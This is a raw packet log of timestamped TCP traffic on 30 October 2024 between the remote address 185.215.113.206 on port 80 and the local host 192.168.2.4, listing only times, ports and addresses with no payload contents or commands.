Oct 30, 2024 20:13:25.825036049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.825047970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.825057983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.825083017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.825100899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.913355112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.913527966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.913568020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.913579941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.913589954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.913599968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.913609982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.913615942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.913620949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.913645983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.913662910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915294886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915338993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915344954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915352106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915375948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915393114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915545940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915556908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915565968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915576935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915594101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915618896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915786028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915829897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915868998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915880919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915890932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915901899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915913105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.915918112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.915944099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.916251898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916264057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916274071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916284084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916295052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916301012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.916306973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916321993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.916337967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.916362047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.916702986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916712999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916754007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916754961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.916765928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916796923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.916965008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916975975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916985035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.916995049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.917006016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.917013884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.917032957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.917054892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.917268038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.917314053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.945429087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.945590973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.945601940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.945620060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.945637941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946063042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946105957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946131945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946144104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946167946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946182013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946280956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946291924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946331978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946427107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946471930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946500063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946511984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946544886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946655989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946666956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946712971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946793079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946810007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946825981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946836948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946837902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946849108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.946861982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.946891069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.947168112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.947177887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.947216988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.035041094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035094023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035104036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035165071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035168886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.035168886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.035187960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035197973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035201073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.035229921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.035290003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035334110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.035870075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.035918951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037209034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037261963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037277937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037302017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037350893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037362099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037384987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037405968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037492037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037503958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037514925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037525892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037529945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037542105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037564039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037836075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037847042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037853003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037862062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037873983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037889004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.037894011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037916899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.037923098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.038240910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.038250923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.038259029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.038269997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.038302898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.042066097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.067949057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.067962885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068016052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068083048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068093061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068103075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068125963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068150997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068289995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068327904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068332911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068367004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068440914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068451881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068459988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068483114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068506002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068624973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068675995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068761110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068769932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068804979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068878889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068890095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068898916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.068918943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.068931103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069077969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069101095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069112062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069122076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069132090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069144011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069416046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069426060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069434881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069443941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069453001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069461107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069463015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069466114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069490910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069511890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069885015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069895029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069902897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069906950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069916010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.069931030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.069963932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.108408928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.108438969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.108526945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.108551025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.157042980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.157125950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.157215118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.157228947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.157239914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.157252073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.157279968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.157294035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.157341003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.157382011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.158845901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.158893108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.158899069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.158904076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.158932924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.158950090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.159012079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159022093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159058094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.159109116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159120083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159157991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.159236908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159248114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159285069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.159440041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159466982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159512043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.159544945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159555912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159567118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.159581900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.159610033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.161437988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.161497116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.161515951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.161530972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.161569118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.161581993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.161701918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.161712885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.161721945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.161750078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.161775112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.189827919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.189909935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190017939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190068007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190076113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190116882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190116882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190145016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190155029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190156937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190180063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190196991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190283060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190293074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190301895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190311909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190325975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190355062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190541029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190551043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190589905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190682888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190692902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190722942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190749884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.190912962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190924883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190933943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190937042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190943003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.190985918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.191143036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191152096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191159964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191169977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191179037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191195011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.191210985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.191411018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191418886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191457033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.191540956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191550970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191560030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191570044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191575050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191582918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191590071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.191592932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.191612005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.191632986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.192073107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.192082882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.192120075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.192154884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.192166090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.192173004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.192193985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.192209959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.272424936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.272485018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.272495985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.272496939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.272521973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.272541046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.278938055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.279007912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.279035091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.279045105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.279083967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.279162884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.279174089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.279184103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.279211998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.279222012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.280857086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.280908108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.280924082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.280932903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.280957937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.280985117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281004906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281014919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281024933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281037092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281048059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281064034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281090021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281212091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281229019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281266928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281388044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281399012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281438112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281505108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281550884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281589031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281599045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281609058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281620026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281635046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281661987 CET	49758	80	192.168.2.4	185.215.113.206
